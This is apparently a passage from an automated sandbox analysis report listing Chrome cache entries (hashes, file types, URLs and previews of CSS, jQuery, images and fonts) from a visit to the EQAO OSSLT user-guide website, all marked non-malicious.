SHA1:	92262570165AF72D5C4560928BE2996C1F320DF0
SHA-256:	57BF53B9B45B0D366F7091498E7098BC41EAACFE7080A9CA8C04A1D085D1143A
SHA-512:	BFCF9F6894C2BF124FEF6E7C7068F1623F5E61CD0065781C6069BF10F7A621EEA58AFE23AF516A16F5589BDBA6A77591032CF34AF82D776A242F4907A8652291
Malicious:	false
Reputation:	low
URL:	https://eqao-kb-osslt.lswp.vretta.com/wp-content/uploads/sites/19/2022/07/section-6-1-75x100.jpg
Preview:	......JFIF..............Exif..MM.*.......;.........J.i.........\.......$...............>................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Chrome Cache Entry: 68

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2682)
Category:	downloaded
Size (bytes):	2683
Entropy (8bit):	4.791203071520975
Encrypted:	false
SSDEEP:	24:mWsLaWLJdKpp/cyf3+lMzqvwKuqgab8WhJ0r1COVPLCNmO3LrJNluOp9Fo6oWxC:VsWWNk/cyf6MMwKK1Z1bQL5p/1jw
MD5:	FF9CC5A51DC69E07DD010998AE19E80F
SHA1:	CB0E28649E1A2E721A36E41C7CC39417445EB4A3
SHA-256:	B956B736F2A116099925A19926D1845D640ED887F95EDDCFDB7F97B5326EC09F
SHA-512:	AABE5279B0221C7534B349402FC4FA0C002B64DDA1B1A8441C384405994F2EC7FB7ED28CDE8278998A271236E175907FB74E32611454AE888F63D113CC1A05B9
Malicious:	false
Reputation:	low
URL:	https://eqao-kb-osslt.lswp.vretta.com/wp-content/plugins/heroic-table-of-contents/dist/blocks.style.build.css?ver=1680234601
Preview:	.wp-block-ht-block-toc .ht_toc_placeholder{font-size:18px}.wp-block-ht-block-toc[data-htoc-state="expanded"] .htoc__itemswrap{margin-top:1em;opacity:1;max-height:9999px}.wp-block-ht-block-toc[data-htoc-state="closed"] .htoc__itemswrap{opacity:0;max-height:0;display:none}.wp-block-ht-block-toc.is-style-outline,.wp-block-ht-block-toc.is-style-gray,.wp-block-ht-block-toc.is-style-rounded,.wp-block-ht-block-toc.is-style-contrasted{-webkit-transition:all 1s ease-in-out;-o-transition:all 1s ease-in-out;transition:all 1s ease-in-out}.wp-block-ht-block-toc.is-style-outline{border:1px solid #ccc;padding:2em}.wp-block-ht-block-toc.is-style-outline .htoc__toggle{border:1px solid #ccc}.wp-block-ht-block-toc.is-style-gray{background:#DDE2EB;padding:2em}.wp-block-ht-block-toc.is-style-rounded{background-color:#fafafa;border:1px solid #dfdfdf;border-radius:10px;padding:1.5em;margin-top:20px;margin-bottom:20px}.wp-block-ht-block-toc.is-style-contrasted{background-color:#fafafa;border:1px solid #eee;bo

Chrome Cache Entry: 69

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (8359), with no line terminators
Category:	downloaded
Size (bytes):	8359
Entropy (8bit):	5.113863360223515
Encrypted:	false
SSDEEP:	192:DfCEWYpC/FcOWjV7VeOhTh+/o5L4qGlNo7YA358oTXCo3ofV0osqn9s9Fc/:pp0jWBZeWF+WL4qGlNo7Fp8orCo3ofVv
MD5:	81F9FEC61BB54BF4386DE7D0F75BBEB2
SHA1:	788AFCDB7FCAD9C97F0E0A4A67152FC69D140E10
SHA-256:	C124EF38C42BA7AF7B4F9AB5A16AF86D664B4CFAE3E14603708D69D112961EDD
SHA-512:	B26AE23BA000F5C1F106C9A4B2ADE610A243F0CA29D23345C5B89C04C9B469E28F6EDDC155FAAC32CEEC0EBF9E21C69E3A5E5E143B9E465A2A3A12A3BE05D8B9
Malicious:	false
Reputation:	low
URL:	https://eqao-kb-osslt.lswp.vretta.com/wp-content/plugins/ht-knowledge-base/dist/ht-kb-frontend.min.js?ver=3.9.1
Preview:	jQuery.fn.liveSearch=function(conf){var config=jQuery.extend({url:"/search-results.php?q=",id:"jquery-live-search",duration:400,typeDelay:200,triggerLength:4,loadingClass:"live-search-loading",onSlideUp:function(){},onShowLiveSearch:function(){},uptadePosition:!1,keepTypingPrompt:"keep typing"},conf),liveSearch=jQuery("#"+config.id);return liveSearch.length\|\|(liveSearch=jQuery('<div id="'+config.id+'"></div>').appendTo(document.body).hide().slideUp(0),jQuery(document.body).click(function(event){var clicked=jQuery(event.target);clicked.is("#"+config.id)\|\|clicked.parents("#"+config.id).length\|\|clicked.is("input")\|\|liveSearch.slideUp(config.duration,function(){config.onSlideUp()})})),this.each(function(){jQuery(this).bind("hideLiveSearch",function(){hideLiveSearch()});var input=jQuery(this).attr("autocomplete","off"),liveSearchPaddingBorderHoriz=parseInt(liveSearch.css("paddingLeft"),10)+parseInt(liveSearch.css("paddingRight"),10)+parseInt(liveSearch.css("borderLeftWidth"),10)+parseInt(li

Chrome Cache Entry: 70

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 144x144, segment length 16, Exif Standard: [TIFF image data, big-endian, direntries=4], baseline, precision 8, 100x100, components 1
Category:	dropped
Size (bytes):	9232
Entropy (8bit):	3.9322263418686143
Encrypted:	false
SSDEEP:	96:1U0apkO+Tk0jsF3B7diiN92H1IcY+G3nilLoF5lo9:1EkOgkaOyiL+Ip+G3nilLn9
MD5:	C06F85265EEFBF4DD0A599070F9FC59D
SHA1:	ECDA2AB5A5A7C664AE08B095B22914BC262783AB
SHA-256:	9AD413587F02305E402BBE5D2827CF3F7A7369FF67BF01AA4B003A10096DA6DF
SHA-512:	918D51F772063F0A7A957E73132361247FB7046E2DF6B1F8C937CAC51A888F8127E1D4A01516A5B243E51A6FCCDA288FDEBBCE7DFBFE0644F00B89D16C51C592
Malicious:	false
Reputation:	low
Preview:	......JFIF..............Exif..MM.*.......;.........J.i.........\.......$...............>................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Chrome Cache Entry: 71

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (36592)
Category:	downloaded
Size (bytes):	87702
Entropy (8bit):	5.71456251099249
Encrypted:	false
SSDEEP:	1536:Eeo1HMsMsM+lHXm6CCAXsO8t8zcIWizcILaUUWUgCUX6P:pKHMsMsMmm6CCAXsO8tETWUUWUgCUX6P
MD5:	805AF8220BAD006DB6756D203A3C08CC
SHA1:	B1B7E39046CE32B61AB940F781F8A8E8BDF807A4
SHA-256:	B6AF0B28D01821E05C014C3044137023560499623E0668DF07CACF53E87F62A3
SHA-512:	C3E8551DCE5C45E2179FA1E556578303BBCAB45792EBD1FB0ACA128E314671920395098A38A356F364478842F5B4A865B717C503AFA0FF2569DE4FF3BA59B088
Malicious:	false
Reputation:	low
URL:	https://eqao-kb-osslt.lswp.vretta.com/
Preview:	<!DOCTYPE html>.<html lang="en-US">..<head>...<meta http-equiv="x-ua-compatible" content="ie=edge">...<meta charset="UTF-8"/>...<meta name="viewport" content="width=device-width, initial-scale=1">...<link rel="profile" href="http://gmpg.org/xfn/11"/>...<meta name='robots' content='index, follow, max-image-preview:large, max-snippet:-1, max-video-preview:-1'/>.<link rel="alternate" hreflang="en" href="https://eqao-kb-osslt.lswp.vretta.com/"/>.<link rel="alternate" hreflang="fr" href="https://eqao-kb-osslt.lswp.vretta.com/fr/"/>.<link rel="alternate" hreflang="x-default" href="https://eqao-kb-osslt.lswp.vretta.com/"/>... This site is optimized with the Yoast SEO plugin v20.5 - https://yoast.com/wordpress/plugins/seo/ -->..<title>User Guide for the Administration of the Ontario Secondary School Literacy Test (OSSLT) -</title>..<link rel="canonical" href="https://eqao-kb-osslt.lswp.vretta.com/"/>..<meta property="og:locale" content="en_US"/>..<meta property="og:type" content="website"/

Chrome Cache Entry: 72

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1165), with no line terminators
Category:	downloaded
Size (bytes):	1165
Entropy (8bit):	4.910571064714319
Encrypted:	false
SSDEEP:	24:zAMBVXWA6GDzREbA1d91/QYJt0cv2kyQft/62kv0kuQgPu0kMzrnBA:kMLXXjYi12c1y2Q0uI7y
MD5:	C9DA3FEE3727E3B441309E277D6C853F
SHA1:	34B94382184F5F8B0355D15ACB3A58D75DEE1CD2
SHA-256:	F96FB5006F1637AA58B267240ED42AEC4642A0E356D9FFDAD02544D5A28E5C50
SHA-512:	B2CA6E92AE2D5AFFB87584FE7650E034EF27E81214533AAD80416FF6D29A125FCBA0EC84A0949FAE6E565DE5162D21D7FA9B63316440881F57366217BB03DDA3
Malicious:	false
Reputation:	low
URL:	https://eqao-kb-osslt.lswp.vretta.com/wp-content/themes/knowall/js/js.min.js?ver=6.2.6
Preview:	jQuery(document).ready(function(a){"use strict";function b(){var b=a(".site-header__banner").outerHeight(!0);a("#wpadminbar").outerHeight(!0);a(".nav-header__menuwrapper").css({top:b})}function c(){if(a(".hkb-archive--style1 .hkb-archive--style3 .hkb-archive--style4 .hkb-archive--style5 .hkb-archive--style6").length){var b=-1;a(".hkb-archive li").each(function(){b=b>a(this).height()?b:a(this).height()}),a(".hkb-archive li").each(function(){a(".hkb-archive .hkb-category.hkb-category--hasdesc a").css("min-height",b)})}}a("#ht-navtoggle").on("click",function(b){a("#ht-navtoggle").toggleClass("active"),b.preventDefault()}),a(".hkb-site-search__field").keypress(function(){a("body").addClass("htevent-hkb-searching")}),a(".hkb-site-search__field").blur(function(){a("body").removeClass("htevent-hkb-searching")}),a(window).ready(function(){b(),c()}),a(window).resize(function(){b(),c()}),a(".hkb-article-attachments__title").click(function(){a(this).parent(".hkb-article-attachments").toggleClass(

Chrome Cache Entry: 73

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65447)
Category:	downloaded
Size (bytes):	89815
Entropy (8bit):	5.290946727189629
Encrypted:	false
SSDEEP:	1536:IjjxXUHunxDjoXEZxkMV4PYDt0zxxf6gP3f8cApoEGOzZTBqUsuy8WnKdXwhLQv1:IeeIygP3fulzhsz8jlvaDioQ47GKK
MD5:	0E850A69BC7FD0ACC2E92CE6EEE87959
SHA1:	8BE6D9E7F7A61CCF0B8EAC8A8144D770B608A19C
SHA-256:	AFACCE23CB4FEAAAEF37997F8439819D8F827DF4951F3FF02704C9F16FB7F53A
SHA-512:	0F8A4FB2EA15A93290778A55C701208C9245193D8C910F47F26BB245B0A3F6D6D91427A1857F98C3632BC3FEEC5C0B83517B46C1FA1817BC3BB33B5CCB9A11E3
Malicious:	false
Reputation:	low
URL:	https://eqao-kb-osslt.lswp.vretta.com/wp-includes/js/jquery/jquery.min.js?ver=3.6.4
Preview:	/! jQuery v3.6.4 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /.!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,y=n.hasOwnProperty,a=y.toString,l=a.call(Object),v={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType&&"function"!=typeof e.item},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n\|\|E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]\|\|t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}funct

Chrome Cache Entry: 74

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 144x144, segment length 16, Exif Standard: [TIFF image data, big-endian, direntries=4], baseline, precision 8, 100x100, components 1
Category:	downloaded
Size (bytes):	9232
Entropy (8bit):	3.9322263418686143
Encrypted:	false
SSDEEP:	96:1U0apkO+Tk0jsF3B7diiN92H1IcY+G3nilLoF5lo9:1EkOgkaOyiL+Ip+G3nilLn9
MD5:	C06F85265EEFBF4DD0A599070F9FC59D
SHA1:	ECDA2AB5A5A7C664AE08B095B22914BC262783AB
SHA-256:	9AD413587F02305E402BBE5D2827CF3F7A7369FF67BF01AA4B003A10096DA6DF
SHA-512:	918D51F772063F0A7A957E73132361247FB7046E2DF6B1F8C937CAC51A888F8127E1D4A01516A5B243E51A6FCCDA288FDEBBCE7DFBFE0644F00B89D16C51C592
Malicious:	false
Reputation:	low
URL:	https://eqao-kb-osslt.lswp.vretta.com/wp-content/uploads/sites/19/2022/07/section-5-100x100.jpg
Preview:	......JFIF..............Exif..MM.*.......;.........J.i.........\.......$...............>................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Chrome Cache Entry: 75

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	442
Entropy (8bit):	4.386265489828495
Encrypted:	false
SSDEEP:	12:tr3dq8e/IMqinaSYjSHASjtjRhpJlLd+Qg6obSDfRP6VeRXV6:t7dq8EKNSUSgSZtDJlBBPDB6Vey
MD5:	9D53286E86E17D587510BF752267B64C
SHA1:	43A974A7E8BAACA66C2C491C27208F376E486F55
SHA-256:	AB33BB269F5D469AAA053C29777D536EE3579BE104A6E16D922C95AF5F40BA1D
SHA-512:	43DF0145D4EAF395E30948A951B0ED92B9AC0208C351DEE118B997BB67B80F164D3C3604361057F7130AE86F6E5D83F628CAF462F9281488414F55F60AA71ED9
Malicious:	false
Reputation:	low
Preview:	<svg width="1792" height="1792" viewBox="0 0 1792 1792" xmlns="http://www.w3.org/2000/svg"><path d="M1216 832q0-185-131.5-316.5t-316.5-131.5-316.5 131.5-131.5 316.5 131.5 316.5 316.5 131.5 316.5-131.5 131.5-316.5zm512 832q0 52-38 90t-90 38q-54 0-90-38l-343-342q-179 124-399 124-143 0-273.5-55.5t-225-150-150-225-55.5-273.5 55.5-273.5 150-225 225-150 273.5-55.5 273.5 55.5 225 150 150 225 55.5 273.5q0 220-124 399l343 343q37 37 37 90z"/></svg>

Chrome Cache Entry: 76

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (525), with no line terminators
Category:	downloaded
Size (bytes):	525
Entropy (8bit):	4.823390340334202
Encrypted:	false
SSDEEP:	12:v5bBvblCb9Ov5b9OLx/Vvb9O52qb9O5IhFav/vRGe2IHKUcUTUiV/B:6gXQh/2b2IhFaPRGscUTUiV/B
MD5:	2D8658FA65C1E95CBC500AE9BF2FE2E8
SHA1:	CBE198427842C2B19E184EE8DF477D77784C9A3E
SHA-256:	42BA9FCE886A47D0D12947516F0F091C73DF4F1CC62E2CD443FF2C5A34EE9647
SHA-512:	521ED90FDF7D4924A5BB3625FECE5B7AE126CF9C4CA363A21F6E51F96BA39363E24468BFA45CE8D4D0622FC0A93D0E4F720796BC6ADEB6C32A47E16D75EAB87B
Malicious:	false
Reputation:	low
URL:	https://eqao-kb-osslt.lswp.vretta.com/wp-includes/css/dist/reusable-blocks/style.min.css?ver=6.2.6
Preview:	:root{--wp-admin-theme-color:#007cba;--wp-admin-theme-color--rgb:0,124,186;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-10--rgb:0,107,161;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-theme-color-darker-20--rgb:0,90,135;--wp-admin-border-width-focus:2px;--wp-block-synced-color:#7a00df;--wp-block-synced-color--rgb:122,0,223}@media (-webkit-min-device-pixel-ratio:2),(min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}.reusable-blocks-menu-items__convert-modal{z-index:1000001}

Chrome Cache Entry: 77

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 40128, version 1.0
Category:	downloaded
Size (bytes):	40128
Entropy (8bit):	7.994526034157349
Encrypted:	true
SSDEEP:	768:Vce3jkow68wmT4IBX0tXdlSirS61gSjcz0GPwHbP+w2jec56O:VcI/iEEEtXdFJj+0GPwHbP+w5rO
MD5:	9A01B69183A9604AB3A439E388B30501
SHA1:	8ED1D59003D0DBE6360481017B44665153665FBE
SHA-256:	20B535FA80C8189E3B87D1803038389960203A886D502BC2EF1857AFFC2F38D2
SHA-512:	0E6795255B6EEA00B5403FD7E3B904D52776D49AC63A31C2778361262883697943AEDCB29FEEE85694BA6F19EAA34DDDB9A5BFE7118F4A25B4757E92C331FECA
Malicious:	false
Reputation:	low
URL:	https://fonts.gstatic.com/s/roboto/v47/KFO7CnqEu92Fr1ME7kSn66aGLdTylUAMa3yUBA.woff2
Preview:	wOF2..............$....F..........................p.....t?HVAR...`?STAT.N'...B..~.../~.....`..i..X.0..j.6.$..,. .... ..N[{.q.v...Lw.Q..o..J...6.Z.g.F.n..g\{t....%.!3)....sS.o...$."c.^<.iZc.I]c....0+. ..I..9.H.3..B.&.....'e....5.p.R(.j~\=..Wt.{..1.[u..Fn..<.-g.3..L..o.....E.-Q.........I..-/.4....{.Uj...3.K...g.Z....0...2)%.{......gN.../f.7....o.K....^V...!j...<...gf....\XjI.<p.PJh.4....,.S....&.C...R..,@ba..<..z.\|.X.&.(.mf.w[..l.35Mp...A.A.=d........fj...}W6..y....[...i.......!........NLND....n'"...N*k)0<n.P.......w.j..>9.vV...Z.`.$$!.".(.`ATV.,..0.]3.<.d(...-s...2.w....P@.&...-.9x7.'....Sg.N=m.=....(..))-bA<.x.......=@4qs..Ss......K...{.=H.......z...NUS....Y..6.K.......n.....F4.B....=w.....+..F3...fB..........y1...,.(...`,..&vIrP.^.fiQY..5....H.a......q...s."..\..':.xK}...fU.z.j.......$L.......f.g&....R...!.Wmew3.1%2W.'"6u..r.q"F.......~i{..9xN.g.X..NMx.H.s@.8..J.t.SP.C`-GU)G/'..6".+......f..n..Aw....r....l.<r...Cke..D....T/."..c..mj..

Chrome Cache Entry: 78

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5436)
Category:	downloaded
Size (bytes):	373068
Entropy (8bit):	5.6005751010535905
Encrypted:	false
SSDEEP:	3072:j4wtHXy6Riw3n7jmyiERwrH0irmUCE6lTQ0nrYYGbINK9l7DX+nD6g8LHjsy1ycy:kuXyS3/myiEOP1YeI8DH+nD6g8LHJ1Xy
MD5:	25E7016660741817BC459F8B15E3DB48
SHA1:	AA9D5D93A901282A1DEFF012A8289BEBA063450B
SHA-256:	7B73B43E7BBE38E271DBA51F2D8A011762F9AFBB4A79E01756F3F6B93FF22059
SHA-512:	7FA45EA74458E12367662A87D8CF1061AC1365F7CA469E96D36FE1165F7CE5CE20E422536965E85DE79E383CC463262EAE1F88372D299E5A2165F514F6CF59F8
Malicious:	false
Reputation:	low
URL:	https://www.googletagmanager.com/gtag/js?id=G-GZTVF3HBYE
Preview:	.// Copyright 2012 Google Inc. All rights reserved.. .(function(){..var data = {."resource": {. "version":"1",. . "macros":[{"function":"__e"},{"function":"__c","vtp_value":""},{"function":"__c","vtp_value":0}],. "tags":[{"function":"__ogt_1p_data_v2","priority":12,"vtp_isAutoEnabled":true,"vtp_autoCollectExclusionSelectors":["list",["map","exclusionSelector",""]],"vtp_isEnabled":true,"vtp_cityType":"CSS_SELECTOR","vtp_manualEmailEnabled":false,"vtp_firstNameType":"CSS_SELECTOR","vtp_countryType":"CSS_SELECTOR","vtp_cityValue":"","vtp_emailType":"CSS_SELECTOR","vtp_regionType":"CSS_SELECTOR","vtp_autoEmailEnabled":true,"vtp_postalCodeValue":"","vtp_lastNameValue":"","vtp_phoneType":"CSS_SELECTOR","vtp_phoneValue":"","vtp_streetType":"CSS_SELECTOR","vtp_autoPhoneEnabled":false,"vtp_postalCodeType":"CSS_SELECTOR","vtp_emailValue":"","vtp_firstNameValue":"","vtp_streetValue":"","vtp_lastNameType":"CSS_SELECTOR","vtp_autoAddressEnabled":false,"vtp_regionValue":"","vtp_countryValue":"",

Chrome Cache Entry: 79

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 144x144, segment length 16, Exif Standard: [TIFF image data, big-endian, direntries=4], baseline, precision 8, 100x100, components 1
Category:	downloaded
Size (bytes):	8569
Entropy (8bit):	3.4337218604192428
Encrypted:	false
SSDEEP:	48:1EunNnKkh3qk/3s403qk0eQs2QqoOX3pwSEovhDJQv4Ig264+Tb3FXsG:1Eu0pkJTk0jsFU31Eoyv+nTb5D
MD5:	71BF323973C512AFA6B7F683BB3A6A1E
SHA1:	892CF9A1E1763C3B912FED31F67232298774F659
SHA-256:	15E5BE4792910E06D3F7743FEBB5D4B16695E0D7C19C45BE31CD6C1D547A336B
SHA-512:	73D0DDD64BE7FAB62BDC5E566C240566CBB8171BA017F37894037D101E4F74E7A7BEC03177C38DAB6DA096BE7BCB9475F9BF4267CDC6D68378F541AA71C4257C
Malicious:	false
Reputation:	low
URL:	https://eqao-kb-osslt.lswp.vretta.com/wp-content/uploads/sites/19/2022/07/section-1-100x100.jpg
Preview:	......JFIF..............Exif..MM.*.......;.........J.i.........\.......$...............>................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Chrome Cache Entry: 80

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	4772
Entropy (8bit):	4.778339914833239
Encrypted:	false
SSDEEP:	96:8GBUelfvendWfwn0dOBdVTbSDZnlgL8d/5:8GBUunenQYn0dOBd1bqu8dh
MD5:	DFE04BD56C251AA546BE341E8483ABC8
SHA1:	927C8504A73627B92DAB38C2D8CD02DD5E40E3A4
SHA-256:	09DB8DC405BD7C70BFCA5799172706D047603ED958FC6687CA1C612EA8481284
SHA-512:	2F989CF61711B12E4A0E0FA9A02467D243053FE01E7EA0FFB78BA79D8241AA85A015B1F54AFB7AAEBC43EA54743D21AA5BAC7914F60ABBF26AD64049AA2552BC
Malicious:	false
Reputation:	low
URL:	https://eqao-kb-osslt.lswp.vretta.com/wp-content/themes/knowall/js/scrollspy.js?ver=6.2.6
Preview:	/* ========================================================================. * Bootstrap: scrollspy.js v3.3.7. * http://getbootstrap.com/javascript/#scrollspy. * ========================================================================. * Copyright 2011-2016 Twitter, Inc.. * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE). * ======================================================================== */...+function ($) {. 'use strict';.. // SCROLLSPY CLASS DEFINITION. // ==========================.. function ScrollSpy(element, options) {. this.$body = $(document.body). this.$scrollElement = $(element).is(document.body) ? $(window) : $(element). this.options = $.extend({}, ScrollSpy.DEFAULTS, options). this.selector = (this.options.target \|\| '') + ' .nav li > a'. this.offsets = []. this.targets = []. this.activeTarget = null. this.scrollHeight = 0.. this.$scrollElement.on('scroll.bs.scrollspy',

Chrome Cache Entry: 81

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (10241), with no line terminators
Category:	downloaded
Size (bytes):	10241
Entropy (8bit):	5.165608083920421
Encrypted:	false
SSDEEP:	192:EajuLigkRhS1rNp7NWzdkfszvx3imWAel/L0Fx18b2Vauta2fI/OTz+UCR7:EajuLigWhS1rT7NW2fszhibLexa2VauK
MD5:	7BE65AC27024C7B5686F9D7C49690799
SHA1:	241ADA4A86443ADC5623D1A3A8018A96D9DE6D5A
SHA-256:	52DB930F81D97113DDE679CAC624CB5435B56D4AC486E91A0B6692D2CB615A84
SHA-512:	BBE6373705C81DA5C7C3C132583338B875CA76CD5F963DFBA95195BD8E2710E819B62924130F49B04FC0EA07E35677580924575D62E8CBCE75D1644CE5F96D15
Malicious:	false
Reputation:	low
URL:	https://eqao-kb-osslt.lswp.vretta.com/wp-content/plugins/contact-form-7/includes/swv/js/index.js?ver=5.7.5.1
Preview:	(()=>{"use strict";var t={d:(e,s)=>{for(var i in s)t.o(s,i)&&!t.o(e,i)&&Object.defineProperty(e,i,{enumerable:!0,get:s[i]})},o:(t,e)=>Object.prototype.hasOwnProperty.call(t,e),r:t=>{"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(t,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(t,"__esModule",{value:!0})}},e={};function s(t){if(this.formData={},this.tree={},!(t instanceof FormData))return this;this.formData=t;const e=()=>{const t=new Map;return t.largestIndex=0,t.set=function(e,s){""===e?e=t.largestIndex++:/^[0-9]+$/.test(e)&&(e=parseInt(e),t.largestIndex<=e&&(t.largestIndex=e+1)),Map.prototype.set.call(t,e,s)},t};this.tree=e();const s=/^(?<name>[a-z][-a-z0-9_:])(?<array>(?:\[(?:[a-z][-a-z0-9_:]\|[0-9])\]))/i;for(const[t,i]of this.formData){const o=t.match(s);if(o)if(""===o.groups.array)this.tree.set(o.groups.name,i);else{const t=[...o.groups.array.matchAll(/\[([a-z][-a-z0-9_:]\|[0-9])\]/gi)].map((([t,e])=>e));t.unshift(o.groups.name);const s=t.pop

Chrome Cache Entry: 82

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 45 x 43, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	1209
Entropy (8bit):	7.798446494017567
Encrypted:	false
SSDEEP:	24:+USLFSrM/uMNAhLlkQTLPfc9e7/jL+A5ZTo6kQVhS1rKkPCeot6KwCwVLzXAkbSo:+USp3gLlFUe3aAr86/fIYwzCwpXAkB
MD5:	7FE20D30624F147E52C5D7231D0E7EFE
SHA1:	64E120D8BEE419FCFBFF7AA22E7C38CF41EB9B5D
SHA-256:	5E5E6C7E53FF1CC0CC30BDFC21AF46F47CC0148D103AAC3E0B5F09AD71B0CA3D
SHA-512:	DE9734802C9B2F4861C9E6B93CD247F3ABDD5F526BBF65AF9452AFC56DD956070D4D998AF034E6D8647AB6C392BF5CEE490E9B86272AEFC6CCE3E3847D527805
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...-...+.....c!......sBIT.....O....qIDATX..?l.V.._.....G...a.o........l8KN.m R&...cO!...p,U......6......O9..Q-Q2...xq=......l.K.....{.....{.....p}}.>.}._.....K.....g.P<.ci.f.C..a8\....G.z.z.D..MR....D....4...W~....=...&.C..\e}%..u..jf6..H...izY7/)....._...V....D..<d>B...j....G;.'?...\|......ftn.......F{8.D..?YA.]..+?4C...J..BNG........5......0.....ho3.o~4n.i.. $E-5..z......d.-~<.3.q1Z.9b~/j.'.z....:i.(L.N...s..$.Q.nIQw;.:SY_........D9SoI.i...7..^...L..<N+..D......!4..N.!.L...E..d..~q...IRT.....G%..w.....<.+.M...p9....??...JG.1?.c........8j..Q....2{=<G..F.0..xrW.j.Y.....O....8...A.i....D..8..5......:..8.....n..e.4:S;:5+B........A.9.X.....Jj....e....N.V~<..../q...D...].....4..M...<..8MFI..+P.[.w:.`/...m.0...a\h..:Sc21...c~/.j...>..o.....R.......r.E..k........s...\|....Ll..V~.OC..pG$E.ht..6..a.....F......Yt.X...h$K..&.F..B..v..A.B_.. ...[.=..B..][...`.w.&.x..7-...$E.._`..]..g.CR....*........l.r..5..\|h......}6DO>... ..

Chrome Cache Entry: 83

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 144 x 81, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4129
Entropy (8bit):	7.940488229875713
Encrypted:	false
SSDEEP:	96:zjSBqsrnz99mU0igiuVuiX7Ck+qKPqvZj3pxQ6Hf1X2C+KI8i9accrM3mlh:zjSBnQhuiX7H+qLvZj5xQ+1XXBI8i9an
MD5:	2ED29B646F94FE41CA49FD9C42766AA6
SHA1:	3893934127C291A6FC1988BD2426B466E057F6F8
SHA-256:	13E94B623E4671BE609D59271334684B75DCBA31C82B15B19F19B0A4F030B487
SHA-512:	4B3FED46B11950DF65933E3C50E7CC493CC98D121DCCD6B4887C470C956E8D3A565F7377AE241506FAA6C7460487D42B7EEB6872578CFCAB8930C6D4573EE981
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.......Q.....=./.....pHYs.................sRGB.........gAMA......a.....IDATx..].u.8.G....MPnP..U'8...M.t.(.$.@..I'.;A...N`..8..,.&%J.l...{z......I.... .cq..=8P.gM.c..y.%"..D....k...7-.....B.x...\|?......8..5......(....fJ.1yf.P..7..}........N.s<......n.OX...^.c....CL...F.......8.Y...H.4....0.ynNQ.p...@.....J3g.%.D...D8U.3...3.........<..X9_...\IGt.,..C.........OO..y..g.;Wr.>..6.^:e..)Z.^......A.%..~E.}.1..M........Y..pf]........Q...m.o..c.?..w(.......2H.R%o..._k8T..q...$a...,7.h..1W<].......C......V\.0..............9w.J..N...^..\....).L.9..w..i?s.gp..o....&.e!d..o \|.....".'.Q...dakj..'.Hs....<:.....id"J...~M2+...i.....J.Y.6~.n.T..b........q=....I.....#.{.....I.RuGufX....R.6.......L_...~@?....r.E.....l ...].5.......D.x?..(.eU....,[.wB...t...o..v...5..z...=tj..lT..... X.[.6...J..].q...k.oTc...v.#TCe...)fm s.z.._.?.......H.'T._W......O..kO>..O"G.....;..XM.].8M..............H..Y......%l..)...V.M....K.....<.r....*.d..U.R,....mS.N.I

Chrome Cache Entry: 84

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (65296)
Category:	downloaded
Size (bytes):	83315
Entropy (8bit):	4.938293869185537
Encrypted:	false
